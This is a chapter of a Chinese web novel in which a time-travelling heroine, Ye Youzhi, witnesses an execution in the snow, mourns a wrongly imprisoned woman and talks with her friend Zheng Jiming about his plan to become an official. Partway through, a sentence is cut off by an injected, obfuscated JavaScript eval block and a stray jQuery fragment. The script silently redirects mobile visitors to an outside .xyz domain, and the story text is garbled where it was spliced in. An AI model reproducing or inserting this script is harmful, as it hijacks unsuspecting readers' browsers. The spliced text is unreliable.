周二娘问斩那日,细雪纷纷,雪屑落在鼻尖,连呼吸都带着凉气。
拥挤的街头站满了形形色色的人,叶游知的视线越过密密麻麻的人头,向周二娘投去。
不知为何,她被雪冻得疼。
死刑需递交刑部复核,一来一回后是夏日,照着秋冬行刑的惯例,今年已经是承化十四年。
很遗憾,叶游知没法救她。尽管若她是周二娘,她也会行和周二娘一样的事,但从周二娘主动构陷无关人员时就注定了她和周二娘之间有一条不可逾越的鸿沟。
“不过去看看么?”
郑既明长了两年,完全长熟了,碧色的袍子淡雅,小片晕染白云纹样,飘逸脱俗。墨发下眉目如画,长睫薄唇,添上一分疏离感,担得起一句风姿绰约,皎如玉树临风前。
叶游知道:“有什么好看的。”
“那你过来干什么?”郑既明带过叶游知的肩膀转身,“你想得比我清楚,何必过不去呢?”
可能是郑既明的错觉,叶游知身上的人味比刚来时重了一点。
不待叶游知回答,周围人就“噢”“噢”的起哄,一眨眼,雪地已是被染红了。
人群散去,叶游知背过身,拖着沉重的步伐在雪地里走。
这里按虚岁算,叶游知已到及笄之年,比去年又窜了一点儿,走在街上比许多男人还高。但郑既明在身后护着她走时,要低头弯腰才能用鼻尖蹭她的脸颊。
自然,郑既明目前不敢这么做。
“你让我打听的人有结果了。”郑既明给叶游知一块饴糖,“李捷五年前在长安赌坊被人打死了。”
“哦。”叶游知仍旧是不咸不淡的表情。
郑既明玩笑道:“雪落在你眸子里都要结冰。”
叶游知抬头,郑既明的眼睛都被碧色的袍子映照得和苍山水一样亮,仍旧捡不起心里的空旷,回道:“哪儿有那么夸张。”
“那你需要我把潘大婆救出来吗?”
“不用。”叶游知不想在郑既明面前丧着脸,笑得十分勉强,眼睛湿湿的。
郑既明:“这么厉害,已经想好救人的法子了?”
“她昨夜,走了……”叶游知说得又长又慢,好像潘大婆等待死亡的过程一样。
郑既明从昨年叶游知求他找一个人时就一直黏着她,第一次听她要找一个男人不由分说地拒绝后气了一天,生怕是哪里的混混给她喂了迷魂药。
第二日叶游知又找上他祖父后他才知道原委,把这活又从他祖父手里抢了回来。
他至今忘不了叶游知看傻子的眼神。
大约也是从那时候吧,郑既明确定了叶游知的表里不一。她越是装得高深晦涩,郑既明便越想剖开她的温柔。
郑既明知道,她从来不为自己的事求人的。
“你现在心里是不是特别不舒服?”
“我不舒服什么?我好好等着我阿姐回来呢。”
怕周竹难受,叶松特地带周竹到邻县去义诊。
郑既明耷拉下嘴唇,酝酿着伤心的情绪,微微蹙眉积攒泪水,然后躬身到叶游知面前,学她的表情,“那你怎么是这样?”
叶游知咬着唇,破涕为笑,看郑既明的眉毛蹙成八字,跟熊猫一样。
她回道:“我没你好看。”
“谁说的?明明你最可爱。”郑既明笑着,云朵般丝滑的袍子流出山涧溪水的清新味,“不是说了么,有什么事可以和我说,毕竟我也算是你的——”
郑既明拉长了音,姿态颇为恣睢。
“什么?”
“蓝颜知己。”
叶游知不反驳,毕竟郑既明说得不错。
去岁发生此事后,不管叶游知做什么决定郑既明好像总能理解,而且给她支持。
叶游知实打实欣赏郑既明。他一个古代人好厉害,昨年开始经手家里生意,现在握了一半权力。不仅如此,叶游知提出的想法不必说完,郑既明就懂了。
他这样的人,写论文做实验一定比自己厉害。
去岁今日,秦大祺胡汉三等人还来看过叶游知,感谢过她。叶游知把周二娘家里的情形同他们说了,几个人沉默着在初雪的日子占了半刻钟,谁也没看谁。
后来叶游知便去找了郑老爷子,说把技术卖给孙氏米行和杨记布庄。
郑老爷子看不惯两家的小人做派,非常不乐意。
叶游知道:“只有各家都能产出大量的布,整个扬州的布价才会下去,百姓才有钱买布穿。”
“你以为孙德盛是好人?他一个卖米的还想来沾染布料生意?”
“我知道他不是好人。”叶游知腹诽,她还准备弄死孙德盛呢。
她继续劝道:“先前老爷降低丝价我从未劝过,那是因为蚕丝产量再高也依然有限,可棉不一样,若是真种起来了,布匹能多得仓库都放不下。但细数整个大汤朝,有谁的棉产能与我们相比?这时老爷降价是郑氏布行降价,会扰乱市场,老爷若想整个大汤朝的百姓都买得起布,必须让大家都心甘情愿的降价。”
“我不降价也能赚。”
“布价贵了有人买吗?老爷若不想扰乱市场引得旁人针对,又想慈悲,只能把技术卖出去。”
郑老爷子起身来回踱步,脖子往外吊着,道:“行了行了,我再想想。”
不知是不是郑既明从中调节过,郑老爷子最后答应了,今年郑老爷子才知道叶游知的用意。
孙记和杨记产布是多了,可是没有丝和棉,那怎么办呢?只好从郑家买。
他们一买,需求拉高,董汉三等人干劲更足了。
“多产点棉,一定要把孙家的钱赚空!”
不出叶游知所料,扬州的整个布价果真降下来了。卖得好,她就涨工人工资,工人拿钱去买郑家更高端的产品,她便又赚钱。
叶游知在她的《古代社会改造准则》上添一行字:大家兜里富,继续钱生钱。
又想,若是有天涨工资的速度更不上她们这些人赚钱的速度又该怎么办?她或许还好,不吝钱财,但别的商人总会见钱眼开。
叶游知郑重地把这个问题写在了小字下。
技术卖出后郑家赚了一大笔钱,顺利和孙德盛牵上关系。由于郑老爷子不齿孙德盛,和孙德盛生意往来这种“脏活”都是叶游知在做,郑家和她对接的人从郑归变成了郑既明。
郑既明玲珑剔透,有一日直接问叶游知:“你非要亲自和孙德盛往来有目的?”
叶游知不语。
“我猜猜,和周二娘有关?”
这一猜,莫名其妙地,郑既明就上了叶游知的贼船。
“郑既明,能帮我查查李捷吗?”
“郑既明,能给我一份明府的卷宗吗?”
他完全被叶游知当成了许愿菩萨,问题一个接一个抛给他。表面是在问能不能,可他也不能说不能。
郑既明问:“你要明府的卷宗?你把我当宰相了?先告诉我你要干什么?”
“你不是都猜到了吗?他德不配位。”
面对郑既明这种通透又善良的人,叶游知不会藏着自己的花花肠子。多一个帮手何乐而不为?纵使她不说,叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221892|181551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
游知也相信郑既明有能力查出来。
所以郑既明此人必须和她同一战线。自然,她的心事她依然藏得很深,她对郑既明的“信任”是有限度的。
“当官的事你也要插手?”
“嗯。”叶游知淡淡的,回答得斩钉截铁。
郑既明心里又是气又是忍不住帮她。
所以此刻郑既明大概能猜到叶游知在想什么,或许又在咒骂明府腐败无能,为官不清吧。
潘大婆一死,她又想替人讨个公道了。
果不其然,下一秒叶游知就道:“不止明府,他们都有问题。凭什么,潘大婆被冤枉入狱二十余年,就连死在狱中了也无人在意?”
郑既明道:“不是她要替自己儿子顶罪吗?”
“所以呢?官府就要放任她的愚蠢和她儿子的坏?要这个世界上只有疯子和傻子?”
这么愤世的人郑既明见得不多,十年前的自己算一个。难得的是叶游知见过了这么多竟还能保持愤怒。
两人在街上游走,雪下了满头。
郑既明伸手拂去她头上的雪,叶游知躲过,问:“干什么?”
“成白发魔女了。”
郑既明巧妙地挪开话题,避免和叶游知的对峙,尽管他什么也没说,却仍旧怕叶游知把自己钉在傻子那一栏。
叶游知不好意思地抿了抿唇,道:“郑五郎还看传奇小说?”
她回过神来还诧异呢:大汤朝竟然有玄幻爱情小说了?
“唔……不是你给我的吗?”
“我什么时候给你了?”
“那时我们做交易,你答应给我一本《西方经济学》,那本书下面就有一本《白发魔女传》。”郑既明颇不正经地看他,眼神嘘起,放浪形骸,“里头的东西比禁书精彩,你还看这个?”
叶游知“唰”地红了脸,不想回他。
糟糕糟糕,那时她不想花额外的好感度和系统换书,便决定用一半的好感度让系统把桌上她看过的书带来,一时不注意,两本都给出去了。
她急步往前走,乱了心神的样子像只小白兔。
有什么嘛,谁青春期没看过爱情小说?叶游知安慰自己,步子越走越大。
郑既明扑地笑出了声,三两步追上,横挡在她面前,道:“走得很不错,雪抖落了。诶,我说你为了不麻烦我帮你掸雪也没必要跳舞给我看吧?”
叶游知瞪他一眼,道:“你有病啊。”
和五年前她认识的那个郑五郎大相径庭。
郑既明突然道:“那我去考科举做官好不好?”
“什么?”
“你不是说官府里都是蠢货吗?我去看看能不能做一个让你满意的官。”
叶游知定下心神,看见雪积在他大氅上,雪白皎洁,和他此时的笑一样。
一抹神伤突然涌上心头,她问道:“所以,你是来和我告别的?”
“告别?我只是去考个试,又不是不回来了。”郑既明温柔得融化了睫眸上的雪,“你一个人没权没势的人怎么应付明府?”
“谁说不行,不都是一条命吗?”
郑既明嫌弃,道:“你这女子,想法怎么那么粗暴?”
叶游知顿住,雪又落了满头,想了好久才道:“你虽要回来,可我是要走的。”
她不会等谁,更不会拦住谁的去路。
郑既明愣了一下,旋即恢复温柔。
不等叶游知反应,他第二次抬手拂去她头上的雪,眸间澄澈的雪水凝结、化开,他呵出的气似乎都有淡淡的兰香,轻声道:“没关系。”